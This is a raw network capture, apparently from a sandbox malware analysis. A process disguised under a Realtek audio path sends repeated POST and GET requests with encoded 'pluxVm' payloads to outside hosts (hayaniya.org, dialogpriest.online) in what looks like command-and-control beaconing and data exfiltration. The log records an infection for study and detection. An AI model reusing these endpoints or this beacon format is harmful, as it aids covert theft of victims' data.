Dec 3, 2024 14:54:31.727149010 CET	2578	OUT	POST /vpwx/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/vpwx/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 64 58 72 6b 59 6d 79 48 77 62 4a 4f 49 64 58 73 6d 73 42 63 32 44 5a 36 34 68 54 54 46 31 7a 77 45 36 36 7a 4b 33 41 4f 4a 68 5a 31 54 6c 6a 55 59 37 49 2f 37 36 67 58 5a 39 65 63 62 6d 69 57 50 57 7a 53 4e 6e 62 6e 54 68 42 6b 67 51 48 68 39 6e 59 55 57 4e 36 61 32 39 58 61 45 46 6b 65 35 74 62 61 6f 57 46 44 59 79 6a 4a 36 69 53 39 70 66 64 4c 77 6f 31 77 73 34 65 7a 30 5a 39 32 32 50 43 6b 61 4e 52 4c 46 4a 74 79 45 48 36 79 55 61 2f 37 78 73 43 51 42 44 6d 67 58 31 77 52 56 72 39 36 32 63 59 75 55 42 2f 37 52 68 65 7a 33 75 55 67 4f 2b 58 4d 66 62 7a 30 6b 68 54 57 43 59 69 66 65 79 4a 34 4d 5a 70 52 69 69 68 56 5a 5a 4c 44 62 47 54 32 4e 49 43 77 76 4a 4c 74 53 4e 33 54 38 37 41 62 76 37 6e 48 41 62 4c 30 43 58 51 7a 32 56 70 75 77 2f 71 47 30 51 30 69 4a 62 4d 56 37 76 61 53 33 45 6a 48 31 73 48 65 6f 33 6a 56 73 71 35 71 55 39 39 47 43 5a 4f 78 57 57 62 37 54 79 4a 46 34 4b 7a 6a 4f 78 53 6b 5a 63 42 65 78 31 6a 6b 43 5a 52 55 30 4d 66 76 6c 46 63 64 2b 74 47 56 35 30 49 [TRUNCATED] Data Ascii: pluxVm=dXrkYmyHwbJOIdXsmsBc2DZ64hTTF1zwE66zK3AOJhZ1TljUY7I/76gXZ9ecbmiWPWzSNnbnThBkgQHh9nYUWN6a29XaEFke5tbaoWFDYyjJ6iS9pfdLwo1ws4ez0Z922PCkaNRLFJtyEH6yUa/7xsCQBDmgX1wRVr962cYuUB/7Rhez3uUgO+XMfbz0khTWCYifeyJ4MZpRiihVZZLDbGT2NICwvJLtSN3T87Abv7nHAbL0CXQz2Vpuw/qG0Q0iJbMV7vaS3EjH1sHeo3jVsq5qU99GCZOxWWb7TyJF4KzjOxSkZcBex1jkCZRU0MfvlFcd+tGV50I45TSAGWkcnUb/YlDnVXCBBrGjcqSZsJyM9BCE941C2VsxebSJLmbjt3lB0FxDaNvb1zq7VpNfZgb1czrxwsI1+phD9pevEk4GCk+5dUr035u98ohZhomqIoo5VcXsW7ljShx4FFvnfR/uPfefLCUhTjmPXFV+v8xRyhBmGiMEKDG7MDKR6s7o8om8F7TXT7/fJHrsLfpMgTsvxCw/qcTAxTVT8sMUf5v1zaw0sjIrCKg2zjZz5eEc17+3MbGN4tAc67NUCQZPnT+KtoKxG440QRiF5itJXY0WRsSwivJOMeMmDNwA3SBOTKymSG/tJFTrQ3VZFEtK4q7JfIVsIFMUrYS5YAn1GRh/qo5sLuzML1c65uwhGrWgwp3ORcOKTII5olQIEzSUpOSs0hu9ToWaTMY3yjNE4q/HKm+iR8V6DHX9xg1ho8sNuxITKdC5+wT+qKBWmPfRTjasIM6gWbKz/oZbwtgu6ijtpy3fHXyxnY7S8sk91KnP9rVyj6fvAiwk+lk3sNac30KcA7gxrB407I1a5pU+h0OvCP1JUzubbpOdAHy/V1QkA0FLZ9nB+4QNR1yqbBfjjs4+KkmPubNMI72bqLnIAMIGRxueJheWRdKdq5zkBgarMi/E5n0Xuhi3IsS9m2SPKgg7rN0xMZZEYZSSj7eK+HFtf [TRUNCATED]
Dec 3, 2024 14:54:31.727176905 CET	3867	OUT	Data Raw: 61 43 6f 39 59 46 34 66 50 62 64 79 73 71 7a 64 4c 72 4e 4d 6a 37 58 49 5a 38 73 36 64 6d 43 54 76 61 45 2f 72 6b 78 56 58 5a 37 7a 57 44 35 76 45 67 59 65 46 47 38 53 5a 66 43 63 74 55 39 67 59 52 34 62 58 59 31 64 76 4f 48 37 30 59 50 64 44 6e Data Ascii: aCo9YF4fPbdysqzdLrNMj7XIZ8s6dmCTvaE/rkxVXZ7zWD5vEgYeFG8SZfCctU9gYR4bXY1dvOH70YPdDnQaoBRvQspvEFGAHaHObautOK2bhDaMrf1ODoj8czTZqb9xbo95Xt9wt2kdpF2LSicCmN9oeujPPZDa4ujXYGxxShcwTIGNHsbLH+RPYuJETt5YXC4tmK8pu/u4rYyLYHmUOm+DjuBSnItgRMh/6ORF+OeU2S4lNix
Dec 3, 2024 14:54:31.727252007 CET	1404	OUT	Data Raw: 75 38 37 31 6d 42 4b 36 73 34 55 56 45 76 36 74 33 6f 58 53 55 70 5a 50 52 47 79 73 78 6f 51 33 63 50 74 63 2b 2f 49 36 35 4a 44 75 73 56 4f 49 6d 6c 30 44 72 68 76 6e 77 73 34 70 2f 77 4f 6c 66 43 2f 44 68 78 36 4c 5a 62 6f 51 33 57 6f 4c 76 45 Data Ascii: u871mBK6s4UVEv6t3oXSUpZPRGysxoQ3cPtc+/I65JDusVOIml0Drhvnws4p/wOlfC/Dhx6LZboQ3WoLvED7kvNKMaR+wmGiFzoP9JXUY5GiXF+56yONdDaTQabBd7X/mRhvHpsVTm3yzvw1tIkefohAnF9AjZp3/hh2baQn6ejGBgXdahDJnKNT2kpRdoDqG5X0vOyKhbjJZmbTjVmaL5LhwWuB25/5guH+1iCQs59GFd/hlu1
Dec 3, 2024 14:54:32.164474964 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:54:31 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z]wD8A6l1>jT;~s`uU\|f
Dec 3, 2024 14:54:32.164496899 CET	1289	IN	Data Raw: c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 bb e3 ab b4 6e b8 90 b8 b7 2f 27 bb ef b0 13 cf 77 da bf a9 6d f6 1e 48 a2 12 c9 0d d5 20 20 82 d9 ee e2 ae 40 df de c3 22 48 26 93 89 fc 44 7d 76 b6 b7 24 38 Data Ascii: w7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$Jmx}`$n/[YYW^KCN
Dec 3, 2024 14:54:32.164513111 CET	1289	IN	Data Raw: 3b 77 ee b8 34 8e 18 9e 1d 18 ba c8 78 8f 86 d9 21 31 57 0f 20 6a 0b 09 4b 1f 18 5c d4 84 4e 51 1c 60 a0 b5 36 1c 10 ea 07 ea c0 68 91 70 2d 02 60 55 50 17 08 b1 04 a6 0e 8c a6 d1 6c 34 07 1b 61 e0 42 51 07 33 84 19 f5 21 0d 35 1b 9b 3d 32 99 f9 Data Ascii: ;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$f2d]( f9F]Apa$Zg!W\6ML]'LGw\Ac!>E<wg;Vs:H ZY?y8&6p'+?Re?t}
Dec 3, 2024 14:54:32.164534092 CET	1289	IN	Data Raw: b2 f7 30 c4 d2 a7 1c b6 d8 dc 20 db 71 b9 41 f6 5a 69 96 39 b6 37 2b 21 03 af 36 13 ce 31 72 04 4b 42 1e d7 f3 d4 ae b2 74 41 49 85 b6 fa 92 48 c4 0a 01 7e d8 59 91 fa 59 ad 46 bb 77 ad da ca d0 b2 b6 11 e0 18 aa b0 5e 52 c8 87 f9 f7 c0 38 c1 72 Data Ascii: 0 qAZi97+!61rKBtAIH~YYFw^R8rwUKy==FB*Ua+[/<@Wl0#((5Nu${-kz,(ITHb\|m"nD^Z7A.B>m)TU)_-uUm%2bkKj:;/EK1;.w
Dec 3, 2024 14:54:32.164556980 CET	1289	IN	Data Raw: 0c 73 cf b0 e2 19 e5 9e d1 c2 33 f8 f9 cf 31 95 e2 ef 7f d3 7b ef 37 3b c3 07 2e 8d 23 86 67 13 9c 28 a1 3d d9 85 fb 8d c1 f5 2e bc 54 21 05 59 c5 28 0e b0 24 2e 6a 5e 43 86 11 4b 7c ca 63 6b a9 40 1c c7 44 c5 16 a3 76 ae 0f 84 a7 24 16 21 c9 74 Data Ascii: s31{7;.#g(=.T!Y($.j^CK\|ck@Dv$!t;6{Vy=l-0,om/F[[;~HLNY+4ZHBRX,mLs~IV.U_Edb(b)c!UbN\9(~f9$
Dec 3, 2024 14:54:32.164572954 CET	1289	IN	Data Raw: df cc 9f a5 cf 8d fc f9 22 7d 03 bf 4f e7 4f 96 ae f3 f4 75 fa 62 fe 87 cc 9a 7f a3 dd df e6 81 97 f0 38 d7 99 a6 21 09 83 71 22 84 e9 37 d8 77 6c e1 c3 b1 15 e5 4c 00 17 d9 21 5c ac f0 f2 80 48 d3 08 3a 89 44 ac cc f5 68 76 8c 61 73 71 b3 ba bb Data Ascii: "}OOub8!q"7wlL!\H:DhvasqgUx<X8&N&TQ6=h49,#6b%51[B@!x8abU4kEqR@{_$B=(=*}cc"\OBXQxgI9Z,uI\|
Dec 3, 2024 14:54:32.164779902 CET	777	IN	Data Raw: d8 a2 e5 1c 4b b7 5c 1b bb 09 29 4e ec 90 2e d1 e8 d7 d6 d1 8b 73 5d 63 76 e6 80 4b 15 5a b2 32 0e 4b bb e2 5e 98 4b bb 1a af 95 a0 23 58 12 72 63 c5 81 da bd 8a 43 89 68 33 ab b0 36 3d a8 d7 f2 48 bb 67 57 22 1a 23 0a 85 4d 19 31 0d 17 2b 8c b2 Data Ascii: K\)N.s]cvKZ2K^K#XrcCh36=HgW"#M1+?$%Qqwin[".q+~_R5!"u7(QGM1]YT5\BDWr"Ks\|s)8\|GU$\Ivn"5jqI"
Dec 3, 2024 14:54:32.164799929 CET	1289	IN	Data Raw: 31 66 61 30 0d 0a e0 6e c5 92 b5 e6 d2 de e2 8c 89 a3 a8 28 da 8e 8b d7 e6 96 65 60 e9 51 22 aa f1 16 d6 a6 07 75 ba dd 51 6b e8 1a 1b 3d 17 f7 09 81 5e 46 6a 12 62 25 89 72 02 52 2d d6 b7 40 a1 b0 69 6d 8d 2d 4e 49 dd b0 80 50 3f 50 c8 25 1e 4e Data Ascii: 1fa0n(e`Q"uQk=^Fjb%rR-@im-NIP?P%N44\0,H"21"(HzP8*}cc"\OE8[.yjL9F#G4HK&Yjj6]]Z\!{JnwpJ](48(aX-an}AJ
Dec 3, 2024 14:54:32.164815903 CET	1289	IN	Data Raw: 8d d4 22 dc 2b 15 bd b0 af 24 d3 6d 3c e7 f4 7e 07 8f 37 99 5e f5 f3 cd fc f1 fc 29 fc dd a6 80 bb c3 f6 95 f8 6e 57 20 0e 2a da d3 ea d2 e4 e3 c1 1a 59 0b 46 3b 95 43 b4 2a 9d bc d2 86 6f ff 12 e2 be 06 1e ce 33 21 be 02 f6 ce 73 86 80 ae d7 c0 Data Ascii: "+$m<~7^)nW YF;Co3!sW~ldJX+"m`E\|!No0V[aB!:+0`$V"p2W^qoX}"@H7(BpV4$w!Jb;WXe&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49807	192.185.147.100	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:34.381623030 CET	419	OUT	GET /vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx+KCDVCLlnycIybt7pD06IHRHaJm25c0tlog+zyXtoPLPq9cOgZC1PjOnv8m1FSTaOvxyioepA8aM=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:54:34.634823084 CET	490	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 03 Dec 2024 13:54:34 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://hayaniya.org/vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx+KCDVCLlnycIybt7pD06IHRHaJm25c0tlog+zyXtoPLPq9cOgZC1PjOnv8m1FSTaOvxyioepA8aM=&Z1EO=OvfHeluUy Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49808	176.31.209.107	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:40.113451004 CET	701	OUT	POST /7znk/ HTTP/1.1 Host: www.dialogpriest.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.dialogpriest.online Referer: http://www.dialogpriest.online/7znk/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 4b 51 6c 75 4e 30 2b 62 4a 62 2b 5a 76 47 78 51 70 52 66 4e 4e 6e 57 41 46 6f 57 6d 52 45 4a 69 45 44 30 6a 6b 75 2f 2f 69 4e 5a 57 68 56 50 45 55 43 62 7a 68 50 51 63 42 37 7a 58 38 79 55 32 63 54 68 5a 4e 59 46 7a 44 54 4f 6d 32 6c 69 56 55 78 73 69 6e 46 56 69 43 35 78 39 4b 68 7a 4e 58 44 47 52 51 72 69 65 31 65 69 51 6b 31 59 4a 6d 30 66 6a 57 70 70 77 56 39 38 53 46 74 76 30 4f 34 4e 57 57 65 4c 4e 44 44 4f 71 2f 39 51 69 4e 41 76 51 62 43 73 35 50 33 6a 78 6f 6e 36 4b 6b 67 56 59 69 72 57 41 4b 4d 73 61 2f 73 35 77 2b 75 44 76 48 38 59 48 79 64 6c 62 45 74 6f 79 34 67 3d 3d Data Ascii: pluxVm=KQluN0+bJb+ZvGxQpRfNNnWAFoWmREJiED0jku//iNZWhVPEUCbzhPQcB7zX8yU2cThZNYFzDTOm2liVUxsinFViC5x9KhzNXDGRQrie1eiQk1YJm0fjWppwV98SFtv0O4NWWeLNDDOq/9QiNAvQbCs5P3jxon6KkgVYirWAKMsa/s5w+uDvH8YHydlbEtoy4g==
Dec 3, 2024 14:54:40.809576035 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:54:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close X-Frame-Options: DENY Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 37 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 77 77 77 2e 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 761<!DOCTYPE html><html> <head> <meta charset="utf-8"><title>www.dialogpriest.online</title> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> <center><p>El dominio <a href="http://dialo [TRUNCATED]
Dec 3, 2024 14:54:40.809627056 CET	820	IN	Data Raw: 6f 2e 63 6f 6d 2f 63 68 65 63 6b 64 6f 6d 61 69 6e 6f 66 66 65 72 2e 70 68 70 3f 6c 61 6e 67 75 61 67 65 3d 65 73 26 64 6f 6d 61 69 6e 3d 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 26 70 61 72 74 6e 65 72 69 64 3d 33 31 38 38 37 36 Data Ascii: o.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876">venta</a> y est alojado en <a href="http://www.wesped.com/" target="_top" alt="Web Hosting y dominios">Wesped</a></p> <p>Compra <a href="https://www.w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49809	176.31.209.107	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:42.836472988 CET	721	OUT	POST /7znk/ HTTP/1.1 Host: www.dialogpriest.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.dialogpriest.online Referer: http://www.dialogpriest.online/7znk/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 4b 51 6c 75 4e 30 2b 62 4a 62 2b 5a 75 6d 68 51 72 77 66 4e 49 48 57 48 5a 34 57 6d 49 55 4a 6d 45 44 6f 6a 6b 73 54 57 2b 76 39 57 68 31 66 45 56 48 6e 7a 69 50 51 63 53 37 7a 4f 34 79 55 4c 63 54 74 72 4e 5a 35 7a 44 54 61 6d 32 67 65 56 55 42 51 68 31 46 56 73 4b 5a 78 37 58 78 7a 4e 58 44 47 52 51 72 33 37 31 66 47 51 6b 47 77 4a 6e 56 66 67 56 70 70 2f 55 39 38 53 50 4e 76 77 4f 34 4e 4f 57 63 2f 6e 44 42 47 71 2f 39 67 69 49 45 62 54 53 43 73 2f 43 58 69 37 73 46 7a 54 69 54 4a 51 6b 37 65 50 51 2f 38 41 36 36 30 71 6a 63 33 4c 45 76 45 31 32 74 63 7a 47 76 70 70 6c 75 35 58 6f 76 75 50 5a 6a 38 63 37 4e 50 53 6f 59 34 7a 36 73 34 3d Data Ascii: pluxVm=KQluN0+bJb+ZumhQrwfNIHWHZ4WmIUJmEDojksTW+v9Wh1fEVHnziPQcS7zO4yULcTtrNZ5zDTam2geVUBQh1FVsKZx7XxzNXDGRQr371fGQkGwJnVfgVpp/U98SPNvwO4NOWc/nDBGq/9giIEbTSCs/CXi7sFzTiTJQk7ePQ/8A660qjc3LEvE12tczGvpplu5XovuPZj8c7NPSoY4z6s4=
Dec 3, 2024 14:54:43.031315088 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:54:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close X-Frame-Options: DENY Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 37 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 77 77 77 2e 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 761<!DOCTYPE html><html> <head> <meta charset="utf-8"><title>www.dialogpriest.online</title> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> <center><p>El dominio <a href="http://dialo [TRUNCATED]
Dec 3, 2024 14:54:43.031544924 CET	820	IN	Data Raw: 6f 2e 63 6f 6d 2f 63 68 65 63 6b 64 6f 6d 61 69 6e 6f 66 66 65 72 2e 70 68 70 3f 6c 61 6e 67 75 61 67 65 3d 65 73 26 64 6f 6d 61 69 6e 3d 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 26 70 61 72 74 6e 65 72 69 64 3d 33 31 38 38 37 36 Data Ascii: o.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876">venta</a> y est alojado en <a href="http://www.wesped.com/" target="_top" alt="Web Hosting y dominios">Wesped</a></p> <p>Compra <a href="https://www.w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49810	176.31.209.107	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:45.554203987 CET	2578	OUT	POST /7znk/ HTTP/1.1 Host: www.dialogpriest.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.dialogpriest.online Referer: http://www.dialogpriest.online/7znk/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 4b 51 6c 75 4e 30 2b 62 4a 62 2b 5a 75 6d 68 51 72 77 66 4e 49 48 57 48 5a 34 57 6d 49 55 4a 6d 45 44 6f 6a 6b 73 54 57 2b 76 31 57 68 48 6e 45 55 67 7a 7a 6a 50 51 63 52 37 7a 4c 34 79 55 73 63 54 30 67 4e 5a 30 47 44 56 65 6d 32 43 6d 56 53 79 49 68 76 56 56 73 49 5a 78 36 4b 68 79 5a 58 44 57 72 51 72 6e 37 31 66 47 51 6b 44 30 4a 75 6b 66 67 61 4a 70 77 56 39 38 65 46 74 75 58 4f 34 56 30 57 63 36 51 45 31 79 71 2f 64 77 69 4b 58 7a 54 64 43 73 39 48 58 6a 75 73 46 76 32 69 54 56 71 6b 37 37 48 51 38 63 41 34 38 68 71 2b 4e 76 38 62 65 77 44 32 4d 67 59 48 64 35 34 72 39 6f 76 75 65 61 54 5a 31 77 38 6c 75 6e 45 30 4a 51 52 75 73 59 62 34 48 42 48 49 2f 48 75 50 43 51 6c 46 39 37 6f 65 30 6b 44 6b 31 6f 33 63 49 73 64 76 2f 6e 30 4a 49 52 47 35 5a 39 59 6a 58 42 44 6b 69 6d 73 71 6a 6a 72 76 74 48 38 67 79 4c 49 49 70 55 6b 4f 41 41 6f 53 2b 6e 52 44 79 6d 78 6c 7a 2f 6e 58 38 34 39 63 33 46 78 68 6c 63 36 34 55 61 6f 37 38 43 39 4b 76 58 4b 36 51 73 6f 5a 55 51 59 36 4c 7a [TRUNCATED] Data Ascii: pluxVm=KQluN0+bJb+ZumhQrwfNIHWHZ4WmIUJmEDojksTW+v1WhHnEUgzzjPQcR7zL4yUscT0gNZ0GDVem2CmVSyIhvVVsIZx6KhyZXDWrQrn71fGQkD0JukfgaJpwV98eFtuXO4V0Wc6QE1yq/dwiKXzTdCs9HXjusFv2iTVqk77HQ8cA48hq+Nv8bewD2MgYHd54r9ovueaTZ1w8lunE0JQRusYb4HBHI/HuPCQlF97oe0kDk1o3cIsdv/n0JIRG5Z9YjXBDkimsqjjrvtH8gyLIIpUkOAAoS+nRDymxlz/nX849c3Fxhlc64Uao78C9KvXK6QsoZUQY6LzxMMQijtX9hT4Dabj0+yXPu5qA6wb2D9raBrEHQTdRmJu0DulYwXkyQrNSgaML/M9PVVf0u7MFtiA6w4jq1/A93iN7L8/uuF7ULUiybgC5fHdqOTzOfnCDudwDmzEdLJlFPBIvPzMcYcId7YeGpd1w5xFJh1lZ6Fe9QIsQPLDWnhtYmoouJ/fSY3FzL9mKku4XdD9EfWu8z3es54v0uhGjWRPb+1GG2CovH8YG5B7m0IYPg165ilIwlRNg/lKJih8iHLh0IWSWEIe/dzX9crAHRsejrpRKP6QiAgROThdfepOQ7KRQwZAfUSUmq77RHXOpOrv4vON4bgBkV+/pTEVJ9liZ2fw1kapYwS0CBKHGGGfx8Hq7OJj4HjjLkaWNA4DgHlDjOT/PD9L2/5niGgCUrDb2Euz+C2EwO6Bh36ExkuDauX